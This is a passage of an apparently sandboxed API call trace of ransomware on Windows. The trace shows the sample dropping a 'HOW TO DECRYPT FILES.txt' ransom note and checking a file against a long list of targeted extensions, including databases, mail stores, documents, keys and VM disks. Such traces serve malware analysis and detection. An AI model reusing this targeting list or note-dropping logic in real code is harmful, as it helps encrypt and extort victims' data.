lstrcmpiA (lpString1="", lpString2="System.Data.DataSetExtensions.ni.dll") returned -1 [0104.947] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\*.*") returned="*.*" [0104.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\" [0104.947] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\") returned="" [0104.947] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\HOW TO DECRYPT FILES.txt" [0104.947] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.dataset#\\eae18653a1b39fe484b49963d43480ce\\how to decrypt files.txt")) returned 0xffffffff [0104.947] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.dataset#\\eae18653a1b39fe484b49963d43480ce\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.953] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.956] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.956] CloseHandle (hObject=0x90) returned 1 [0104.956] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\", lpString2="System.Data.DataSetExtensions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll" [0104.956] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ems") returned 0 [0104.957] lstrlenA (lpString="*.ems") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.db") returned 0 [0104.957] lstrlenA (lpString="*.db") returned 4 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dbf") returned 0 [0104.957] lstrlenA (lpString="*.dbf") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.myox") returned 0 [0104.957] lstrlenA (lpString="*.myox") returned 6 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.myo") returned 0 [0104.957] lstrlenA (lpString="*.myo") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbw") returned 0 [0104.957] lstrlenA (lpString="*.qbw") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbb") returned 0 [0104.957] lstrlenA (lpString="*.qbb") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbm") returned 0 [0104.957] lstrlenA (lpString="*.qbm") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbo") returned 0 [0104.957] lstrlenA (lpString="*.qbo") returned 5 [0104.957] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbx") returned 0 [0104.958] lstrlenA (lpString="*.qbx") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qba") returned 0 [0104.958] lstrlenA (lpString="*.qba") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qby") returned 0 [0104.958] lstrlenA (lpString="*.qby") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qbj") returned 0 [0104.958] lstrlenA (lpString="*.qbj") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ofx") returned 0 [0104.958] lstrlenA (lpString="*.ofx") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.qif") returned 0 [0104.958] lstrlenA (lpString="*.qif") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mye") returned 0 [0104.958] lstrlenA (lpString="*.mye") returned 5 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mbox") returned 0 [0104.958] lstrlenA (lpString="*.mbox") returned 6 [0104.958] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.eml") returned 0 [0104.958] lstrlenA (lpString="*.eml") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pst") returned 0 [0104.959] lstrlenA (lpString="*.pst") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ost") returned 0 [0104.959] lstrlenA (lpString="*.ost") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.idx") returned 0 [0104.959] lstrlenA (lpString="*.idx") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dbx") returned 0 [0104.959] lstrlenA (lpString="*.dbx") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.sql") returned 0 [0104.959] lstrlenA (lpString="*.sql") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mdb") returned 0 [0104.959] lstrlenA (lpString="*.mdb") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.fdb") returned 0 [0104.959] lstrlenA (lpString="*.fdb") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.wab") returned 0 [0104.959] lstrlenA (lpString="*.wab") returned 5 [0104.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dat") returned 0 [0104.960] lstrlenA (lpString="*.dat") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.txt") returned 0 [0104.960] lstrlenA (lpString="*.txt") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.jpeg") returned 0 [0104.960] lstrlenA (lpString="*.jpeg") returned 6 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.jpg") returned 0 [0104.960] lstrlenA (lpString="*.jpg") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.png") returned 0 [0104.960] lstrlenA (lpString="*.png") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.php") returned 0 [0104.960] lstrlenA (lpString="*.php") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cs") returned 0 [0104.960] lstrlenA (lpString="*.cs") returned 4 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cpp") returned 0 [0104.960] lstrlenA (lpString="*.cpp") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.rar") returned 0 [0104.960] lstrlenA (lpString="*.rar") returned 5 [0104.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.zip") returned 0 [0104.961] lstrlenA (lpString="*.zip") returned 5 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.html") returned 0 [0104.961] lstrlenA (lpString="*.html") returned 6 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.htm") returned 0 [0104.961] lstrlenA (lpString="*.htm") returned 5 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xlsx") returned 0 [0104.961] lstrlenA (lpString="*.xlsx") returned 6 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xls") returned 0 [0104.961] lstrlenA (lpString="*.xls") returned 5 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mp4") returned 0 [0104.961] lstrlenA (lpString="*.mp4") returned 5 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ppt") returned 0 [0104.961] lstrlenA (lpString="*.ppt") returned 5 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pptx") returned 0 [0104.961] lstrlenA (lpString="*.pptx") returned 6 [0104.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.doc") returned 0 [0104.961] lstrlenA (lpString="*.doc") returned 5 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dot") returned 0 [0104.962] lstrlenA (lpString="*.dot") returned 5 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.docx") returned 0 [0104.962] lstrlenA (lpString="*.docx") returned 6 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.7z") returned 0 [0104.962] lstrlenA (lpString="*.7z") returned 4 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tar") returned 0 [0104.962] lstrlenA (lpString="*.tar") returned 5 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.bz2") returned 0 [0104.962] lstrlenA (lpString="*.bz2") returned 5 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.gz") returned 0 [0104.962] lstrlenA (lpString="*.gz") returned 4 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mkv") returned 0 [0104.962] lstrlenA (lpString="*.mkv") returned 5 [0104.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.eml") returned 0 [0104.962] lstrlenA (lpString="*.eml") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.msg") returned 0 [0104.963] lstrlenA (lpString="*.msg") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.edb") returned 0 [0104.963] lstrlenA (lpString="*.edb") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.accdb") returned 0 [0104.963] lstrlenA (lpString="*.accdb") returned 7 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.odb") returned 0 [0104.963] lstrlenA (lpString="*.odb") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.java") returned 0 [0104.963] lstrlenA (lpString="*.java") returned 6 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.asm") returned 0 [0104.963] lstrlenA (lpString="*.asm") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pfx") returned 0 [0104.963] lstrlenA (lpString="*.pfx") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pem") returned 0 [0104.963] lstrlenA (lpString="*.pem") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.p12") returned 0 [0104.963] lstrlenA (lpString="*.p12") returned 5 [0104.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.gpg") returned 0 [0104.964] lstrlenA (lpString="*.gpg") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vsd") returned 0 [0104.964] lstrlenA (lpString="*.vsd") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.odg") returned 0 [0104.964] lstrlenA (lpString="*.odg") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.raw") returned 0 [0104.964] lstrlenA (lpString="*.raw") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.nef") returned 0 [0104.964] lstrlenA (lpString="*.nef") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.svg") returned 0 [0104.964] lstrlenA (lpString="*.svg") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.psd") returned 0 [0104.964] lstrlenA (lpString="*.psd") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vmx") returned 0 [0104.964] lstrlenA (lpString="*.vmx") returned 5 [0104.964] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vmdk") returned 0 [0104.965] lstrlenA (lpString="*.vmdk") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.vdi") returned 0 [0104.965] lstrlenA (lpString="*.vdi") returned 5 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.lay6") returned 0 [0104.965] lstrlenA (lpString="*.lay6") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mpeg") returned 0 [0104.965] lstrlenA (lpString="*.mpeg") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.djvu") returned 0 [0104.965] lstrlenA (lpString="*.djvu") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tiff") returned 0 [0104.965] lstrlenA (lpString="*.tiff") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.backup") returned 0 [0104.965] lstrlenA (lpString="*.backup") returned 8 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.pdf") returned 0 [0104.965] lstrlenA (lpString="*.pdf") returned 5 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.cert") returned 0 [0104.965] lstrlenA (lpString="*.cert") returned 6 [0104.965] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.docm") returned 0 [0104.966] lstrlenA (lpString="*.docm") returned 6 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xlsm") returned 0 [0104.966] lstrlenA (lpString="*.xlsm") returned 6 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.dwg") returned 0 [0104.966] lstrlenA (lpString="*.dwg") returned 5 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.nd") returned 0 [0104.966] lstrlenA (lpString="*.nd") returned 4 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.tlg") returned 0 [0104.966] lstrlenA (lpString="*.tlg") returned 5 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.lgb") returned 0 [0104.966] lstrlenA (lpString="*.lgb") returned 5 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.mov") returned 0 [0104.966] lstrlenA (lpString="*.mov") returned 5 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.xdw") returned 0 [0104.966] lstrlenA (lpString="*.xdw") returned 5 [0104.966] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.ods") returned 0 [0104.966] lstrlenA (lpString="*.ods") returned 5 [0104.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.DataSet#\\eae18653a1b39fe484b49963d43480ce\\System.Data.DataSetExtensions.ni.dll", pszSpec="*.wav") returned 0 [0104.967] lstrlenA (lpString="*.wav") returned 5 [0104.967] PathMatchSpecA 